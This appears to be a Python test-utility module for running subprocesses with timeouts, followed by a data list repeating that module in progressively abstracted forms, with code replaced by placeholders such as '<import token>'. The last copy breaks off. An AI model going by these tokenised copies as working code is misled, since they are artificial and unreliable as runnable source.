# Wait for process to finish (normal execution)
state = wait_process(pid, timeout)
if state:
# Process finished
return _retrieve_output(t, output_timeout, outputq,
"Program thread to join")
# If we reach this point we assume the process got stuck or timed out
for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):
# Start with lower signals and escalate if process ignores them
try:
os.kill(pid, signal.SIGABRT)
except OSError as e:
# 3 means the process finished/died between last check and now
if e.errno != 3:
raise
# Wait for process to finish (should die/exit after signal)
state = wait_process(pid, timeout)
if state:
# Process finished
return _retrieve_output(t, output_timeout, outputq,
"Program to die")
# This should never happen but in case something goes really bad
raise OSError("Program stopped responding and couldn't be killed")
def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE,
merge_streams=False, env=os.environ, timeout=None):
"Run a subprocess and wait for it to finish"
if input is None:
stdin = None
else:
stdin = PIPE
if merge_streams:
stderr = STDOUT
else:
stderr = PIPE
arguments = {
"process": {
"args": cmd,
"stdin": stdin,
"stdout": stdout,
"stderr": stderr,
"bufsize": 1,
"close_fds": ON_POSIX,
"env": env,
},
"input": input,
}
out, err, exit = _get_output(arguments, timeout)
if merge_streams:
if exit != 0:
raise CommandError(cmd, exit, out)
else:
return exit, out
else:
if exit != 0:
raise CommandError(cmd, exit, out, err)
else:
return exit, out, err
def run_cmd_wait_nofail(*args, **kwargs):
"""Same as run_cmd_wait but silence the exception if it happens"""
try:
return run_cmd_wait(*args, **kwargs)
except CommandError as e:
return e.code, e.out, e.err
def memoize(obj):
"""Keep an in-memory cache of function results given its inputs
"""
cache = obj.cache = {}
@functools.wraps(obj)
def memoizer(*args, **kwargs):
key = str(args) + str(kwargs)
if key not in cache:
cache[key] = obj(*args, **kwargs)
return cache[key]
return memoizer
from shutil import which
which = memoize(which)
def parse_datafile(file):
"""Parse .data files, treating files as JSON
"""
data = []
with open(file) as fh:
for line in fh:
line = line.rstrip("\n")
# Turn [] strings into {} to be treated properly as JSON hashes
if line.startswith('[') and line.endswith(']'):
line = '{' + line[1:-1] + '}'
if line.startswith("{"):
data.append(json.loads(line))
else:
data.append(line)
return data
def mkstemp(data):
"""
Create a temporary file that is removed at process exit
"""
def rmtemp(name):
try:
os.remove(name)
except OSError:
pass
f = tempfile.NamedTemporaryFile(delete=False)
f.write(data)
f.close()
# Ensure removal at end of python session
atexit.register(rmtemp, f.name)
return f.name
def mkstemp_exec(data):
"""Create a temporary executable file that is removed at process exit
"""
name = mkstemp(data)
os.chmod(name, 0o755)
return name
# vim: ai sts=4 et sw=4
|
[
"# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport socket\nimport signal\nimport functools\nimport atexit\nimport tempfile\nfrom subprocess import Popen, PIPE, STDOUT\nfrom threading import Thread\nfrom queue import Queue, Empty\nfrom time import sleep\nimport json\nfrom .exceptions import CommandError, TimeoutWaitingFor\n\nON_POSIX = 'posix' in sys.builtin_module_names\n\n# Directory relative to basetest module location\nCURRENT_DIR = os.path.dirname(os.path.abspath(__file__))\n\n# Location of binary files (usually the src/ folder)\nBIN_PREFIX = os.path.abspath(\n os.path.join(CURRENT_DIR, \"..\", \"..\", \"src\")\n)\n\n# Default location of test certificates\nDEFAULT_CERT_PATH = os.path.abspath(\n os.path.join(CURRENT_DIR, \"..\", \"test_certs\")\n)\n\n# Default location of test extensions\nDEFAULT_EXTENSION_PATH = os.path.abspath(\n os.path.join(CURRENT_DIR, \"..\", \"test_extensions\")\n)\n\n\n# Environment flags to control skipping of shared tests\nSHARED_SKIP = os.environ.get(\"SHARED_SKIP\", False)\n# Environment flags to control use of PATH or in-tree binaries\nSHARED_USE_PATH = os.environ.get(\"SHARED_USE_PATH\", False)\n\nUUID_REGEXP = (\"[0-9A-Fa-f]{8}-\" + (\"[0-9A-Fa-f]{4}-\" * 3) + \"[0-9A-Fa-f]{12}\")\n\n\ndef shared_binary_location(cmd=\"shared\"):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\ndef binary_location(cmd, USE_PATH=False):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n\n\ndef wait_condition(cond, timeout=1, sleeptime=.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n # NOTE Increasing sleeptime can dramatically increase testsuite runtime\n # It also reduces CPU load significantly\n if timeout is None:\n timeout = 1\n\n if timeout < sleeptime:\n print(\"Warning, timeout cannot be smaller than\", sleeptime)\n timeout = sleeptime\n\n # Max number of attempts until giving up\n tries = int(timeout / sleeptime)\n\n for i in range(tries):\n val = cond()\n\n if val is not None:\n break\n\n sleep(sleeptime)\n\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n # Process is dead\n return True\n else:\n # Process is still ticking\n return None\n\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments[\"process\"]\n input = arguments[\"input\"]\n\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n # pid None is read by the main thread as a crash of the process\n pidq.put(None)\n\n outputq.put((\n \"\",\n (\"Unexpected exception caught during execution: '{0}' . \".format(e)),\n 255)) # false exitcode\n\n return\n\n # Put the PID in the queue for main process to know.\n pidq.put(proc.pid)\n\n # Send input and wait for finish\n out, err = proc.communicate(input)\n\n out, err = out.decode('utf-8'), err.decode('utf-8')\n\n # Give the output back to the caller\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n # Try to join the thread on failure abort\n thread.join(timeout)\n if thread.isAlive():\n # Join should have killed the thread. This is unexpected\n raise TimeoutWaitingFor(thread_error + \". Unexpected error\")\n\n # Thread died so we should have output\n try:\n # data = (stdout, stderr, exitcode)\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor(\"streams from program\")\n\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n # NOTE Increase this value if tests fail with None being received as\n # stdout/stderr instead of the expected content\n output_timeout = 0.1 # seconds\n\n pidq = Queue()\n outputq = Queue()\n\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n\n # Process crashed or timed out for some reason\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq,\n \"Program to start\")\n\n # Wait for process to finish (normal execution)\n state = wait_process(pid, timeout)\n\n if state:\n # Process finished\n return _retrieve_output(t, output_timeout, outputq,\n \"Program thread to join\")\n\n # If we reach this point we assume the process got stuck or timed out\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n # Start with lower signals and escalate if process ignores them\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n # 3 means the process finished/died between last check and now\n if e.errno != 3:\n raise\n\n # Wait for process to finish (should die/exit after signal)\n state = wait_process(pid, timeout)\n\n if state:\n # Process finished\n return _retrieve_output(t, output_timeout, outputq,\n \"Program to die\")\n\n # This should never happen but in case something goes really bad\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE,\n merge_streams=False, env=os.environ, timeout=None):\n \"Run a subprocess and wait for it to finish\"\n\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n\n arguments = {\n \"process\": {\n \"args\": cmd,\n \"stdin\": stdin,\n \"stdout\": stdout,\n \"stderr\": stderr,\n \"bufsize\": 1,\n \"close_fds\": ON_POSIX,\n \"env\": env,\n },\n \"input\": input,\n }\n out, err, exit = _get_output(arguments, timeout)\n\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n else:\n if exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\nfrom shutil import which\nwhich = memoize(which)\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip(\"\\n\")\n\n # Turn [] strings into {} to be treated properly as JSON hashes\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n\n if line.startswith(\"{\"):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n\n # Ensure removal at end of python session\n atexit.register(rmtemp, f.name)\n\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 0o755)\n\n return name\n\n# vim: ai sts=4 et sw=4\n",
"import os\nimport sys\nimport socket\nimport signal\nimport functools\nimport atexit\nimport tempfile\nfrom subprocess import Popen, PIPE, STDOUT\nfrom threading import Thread\nfrom queue import Queue, Empty\nfrom time import sleep\nimport json\nfrom .exceptions import CommandError, TimeoutWaitingFor\nON_POSIX = 'posix' in sys.builtin_module_names\nCURRENT_DIR = os.path.dirname(os.path.abspath(__file__))\nBIN_PREFIX = os.path.abspath(os.path.join(CURRENT_DIR, '..', '..', 'src'))\nDEFAULT_CERT_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',\n 'test_certs'))\nDEFAULT_EXTENSION_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',\n 'test_extensions'))\nSHARED_SKIP = os.environ.get('SHARED_SKIP', False)\nSHARED_USE_PATH = os.environ.get('SHARED_USE_PATH', False)\nUUID_REGEXP = '[0-9A-Fa-f]{8}-' + '[0-9A-Fa-f]{4}-' * 3 + '[0-9A-Fa-f]{12}'\n\n\ndef shared_binary_location(cmd='shared'):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\ndef binary_location(cmd, USE_PATH=False):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\nfrom shutil import which\nwhich = memoize(which)\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\nON_POSIX = 'posix' in sys.builtin_module_names\nCURRENT_DIR = os.path.dirname(os.path.abspath(__file__))\nBIN_PREFIX = os.path.abspath(os.path.join(CURRENT_DIR, '..', '..', 'src'))\nDEFAULT_CERT_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',\n 'test_certs'))\nDEFAULT_EXTENSION_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',\n 'test_extensions'))\nSHARED_SKIP = os.environ.get('SHARED_SKIP', False)\nSHARED_USE_PATH = os.environ.get('SHARED_USE_PATH', False)\nUUID_REGEXP = '[0-9A-Fa-f]{8}-' + '[0-9A-Fa-f]{4}-' * 3 + '[0-9A-Fa-f]{12}'\n\n\ndef shared_binary_location(cmd='shared'):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\ndef binary_location(cmd, USE_PATH=False):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\nwhich = memoize(which)\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n\n\ndef shared_binary_location(cmd='shared'):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\ndef binary_location(cmd, USE_PATH=False):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n\n\ndef shared_binary_location(cmd='shared'):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process 